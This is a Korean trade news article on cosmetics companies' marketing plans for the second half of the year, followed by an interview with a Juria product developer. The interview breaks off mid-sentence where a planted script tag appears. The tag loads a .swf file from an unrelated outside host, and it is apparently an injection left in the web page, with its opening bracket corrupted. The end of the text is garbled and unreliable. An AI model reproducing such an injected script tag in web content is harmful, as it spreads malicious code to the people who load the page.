올 하반기 각 화장품메이커에서 내놓은 마케팅 및 영업전략을 살펴보면 △라인확장 및 리뉴얼을 통한 브랜드 고급화 전략 △유통차별화를 위한 전용브랜드 출시 △온·오프라인 프로모션 통한 홍보 강화 △신규 거래점 확보 등으로 요약할 수 있다. 이는 장기적인 경기침체 여파로 합리성을 바탕으로 한 실리형 소비문화가 하반기 시장판도에 중요한 역할을 하게 되면서 기존과는 차별화된 마케팅 정책이 요구되고 있기 때문이다. 이들 메이커들은 기존 제품의 대대적인 리뉴얼과 유통채널의 선택 집중화를 통해 브랜드 인지도를 강화하는데 초점을 맞추고 있다.
LG생활건강은 최근 출시한 한방브랜드 수려한을 롱런 브랜드로 집중 육성하기 위해 프레스티뉴 대리점을 이용한 직배송 체제와 대리점 무재고 시스템을 통한 유통 질서를 안정시킬 방침이다.
코리아나는 엔시아를 범용 브랜드와의 차별화된 고급스런 이미지를 강조하는 방향으로 마케팅 전략을 전개해 브랜드 인지도를 높이고, 지속적으로 시장을 공략할 계획이다.
애경산업은 차원이 다른 리프팅 제품인 ‘마리끌레르 인텐시브 리프트 퍼스트’를 홍보하기 위해 다양한 캠페인을 진행할 방침이다. 이를 위해 소비자 대상의 온·오프라인 이벤트와 전문점주 대상의 프로모션을 통해 시판 시장에서 확고한 위치를 다져나갈 방침이다.
한국화장품은 지난 2001년 출시 후, 소비자로부터 꾸준한 반응을 보이고 있는 프로비타를 올 하반기에도 칼리 주력 상품으로 마케팅 지원을 집중시키고 있다. 인쇄매체 위주 광고 집행으로 인지도를 확립하고 다양한 온·오프라인 이벤트 실시로 관여도 증대, 적극적인 샘플링 실시로 히트품목 육성하는데 적극적으로 노력할 방침이다.
참존은 엣센셜 스킨 포맨 출시를 기점으로 대리점과 전문점에 대한 체계적인 교육과 다양한 마케팅 지원책 마련으로 판매활성화를 모색, 카운슬링 기반을 높여 나갈 예정이다.
라미화장품은 레노마 전 제품에 ‘전문점 전용’ 표기를 실시, 안정된 화장품 유통 환경 조성을 위해 전사적 차원에서 모니터링을 철저히 하고 있다.
금비화장품은 우수한 품질력을 바탕으로 체인점 내에서 다양한 샘플링과 소비자의 관심을 끌 수 있는 다채로운 POP물을 통해 체인점과의 윈윈 전략을 지향하고 있다.
나드리화장품은 메소니에 루시드 화이트닝 팩트에 대한 프리미엄 이미지의 강화와 함께 그동안 지속적으로 노력해온 전문점과 고객에 대한 안정적인 유통과 가격을 바탕으로 거래 전문점수의 확대에 힘을 쏟고 있다.
네슈라화장품은 전체적으로 시판에 유통되는 제품은 주력 기초제품을 중심으로 하면서 범용 개념의 제품을 보급함과 동시에 부위별로 스페셜 케어가 가능한 제품의 품목을 세분화한다는 방침이다.
쥬리아는 최근 출시한 디앤업 제품을 전국 3000개 전문점에 집중하여 공급할 계획이며 점문점의 마진을 최대한 보장하는 한편 타 유통으로의 유출을 철저히 배제시킬 계획이다.
유니코스는 라인별 차별화 정책을 도입하여 기존의 핵심 브랜드인 피에르 가르뎅 아쥬비딸 라인을 강화시킬 방침이고 시선래브는 4종의 라인확장을 통한 모라비또의 브랜드 인지도 확산을 추진하고 있다.
이밖에도 에스까다는 샘플 프로모션과 잡지 광고로 홍보효과를 극대화하고 샘플 21 등 온라인 프로모션 업체와 제휴을 통한 샘플 공동 프로모션에 힘을 쏟고 있다.
잎스코스메틱은 브랜드 리포지셔닝에 초점 맞춰 잎스 하이드로젠의 리뉴얼을 단행, 브랜드 파워 제공에 집중적인 마케팅을 펼칠 계획이다.
인터뷰......................................................쥬리아화장품 제품개발팀 권성애 과장
합리적 가격이 소비자에 어필
“하반기에는 합리적인 가격대의 보습력을 강조한 브랜드 제품들이 주류로 부상할 것입니다. 더불어 주름개선, 탄력 등으로 세분화된 고기능성 화장품도 여전히 강세를 보일 전망입니다.”
권성애 쥬리아 제품개발팀 과장은 극심한 불경기를 겪고 있는 경기상황을 반영하듯 하반기 시장을 주도할 제품군도 여기에 부합될 것이라고 예상했다.
권성애 과장은 “신규브랜드 런칭보다는 기존 브랜드에 대한 리뉴얼과 서브 브랜드 개발, ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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